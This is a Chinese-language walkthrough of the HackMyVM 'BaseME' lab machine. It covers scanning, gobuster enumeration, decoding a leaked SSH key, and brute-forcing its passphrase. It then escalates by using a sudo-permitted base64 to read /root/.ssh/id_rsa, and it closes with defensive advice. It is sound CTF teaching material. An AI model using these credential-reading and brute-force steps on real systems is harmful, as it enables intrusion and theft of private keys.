hackmyvm系列7——BaseME
字数 1040 2025-08-12 11:34:21
BaseME靶场渗透测试教学文档
1. 靶场概述
BaseME是一个基于Web和SSH的渗透测试靶场,主要考察以下技能:
- 信息收集与枚举
- Base64编码/解码技术
- 目录爆破
- SSH私钥利用
- 权限提升技术
2. 信息收集阶段
2.1 网络扫描
netdiscover -r 192.168.56.0/24
确定目标IP地址为192.168.56.169
2.2 端口扫描与服务识别
nmap -sV -Pn -sC -A 192.168.56.169
扫描结果显示开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
3. Web应用渗透
3.1 网页内容分析
访问http://192.168.56.169/,发现页面包含编码后的信息
3.2 Base64解码
对页面信息进行解码,获得关键用户名:
- 用户名:lucas
页面提示:所有密码尝试都需要进行Base64编码
3.3 目录爆破
使用gobuster进行目录枚举:
gobuster dir -u http://192.168.56.169/ -w dic.txt
发现关键文件,下载后进行Base64解码:
base64 -d aWRfcnNhCg== > a.txt
解码结果是一个SSH私钥文件(id_rsa)
4. SSH渗透
4.1 尝试SSH登录
使用获得的用户名和私钥:
ssh lucas@192.168.56.169 -i a.txt
发现需要私钥密码
4.2 密码爆破
根据页面提示,所有密码尝试需要Base64编码,准备以下密码字典:
原始密码列表:
- iloveyou
- youloveyou
- shelovesyou
- helovesyou
- weloveyou
- theyhatesme
转换为Base64编码:
echo -n "iloveyou" | base64 # aWxvdmV5b3U=
echo -n "youloveyou" | base64 # eW91bG92ZXlvdQ==
echo -n "shelovesyou" | base64 # c2hlbG92ZXN5b3U=
echo -n "helovesyou" | base64 # aGVsb3Zlc3lvdQ==
echo -n "weloveyou" | base64 # d2Vsb3ZleW91
echo -n "theyhatesme" | base64 # dGhleWhhdGVzbWU=
使用编码后的密码成功登录SSH
5. 权限提升
5.1 检查sudo权限
sudo -l
发现base64可以以root身份无密码运行
5.2 利用base64读取root私钥
sudo -u root base64 /root/.ssh/id_rsa > a.txt
5.3 解码私钥
base64 -d a.txt > b.txt
5.4 设置适当权限并登录
chmod 600 b.txt
ssh root@127.0.0.1 -i b.txt
成功获取root权限
6. 关键知识点总结
-
Base64编码/解码:
- 编码:
echo -n "text" | base64 - 解码:
base64 -d file
- 编码:
-
目录爆破:
- 使用gobuster等工具枚举Web目录
- 注意隐藏文件和非常规文件扩展名
-
SSH私钥利用:
- 私钥文件通常需要600权限
- 使用
-i参数指定私钥文件
-
权限提升技巧:
- 始终检查
sudo -l输出 - 利用可执行命令读取敏感文件
- 注意命令的参数注入可能性
- 始终检查
-
靶场特定技巧:
- 注意页面提示信息(如密码需要Base64编码)
- 关注文件权限和可执行命令的滥用可能性
7. 防御建议
- 限制sudo权限,避免无密码执行敏感命令
- 对SSH私钥设置强密码
- 避免在Web目录存放敏感文件
- 监控系统日志中的异常登录尝试
- 定期检查系统上的setuid和sudo权限配置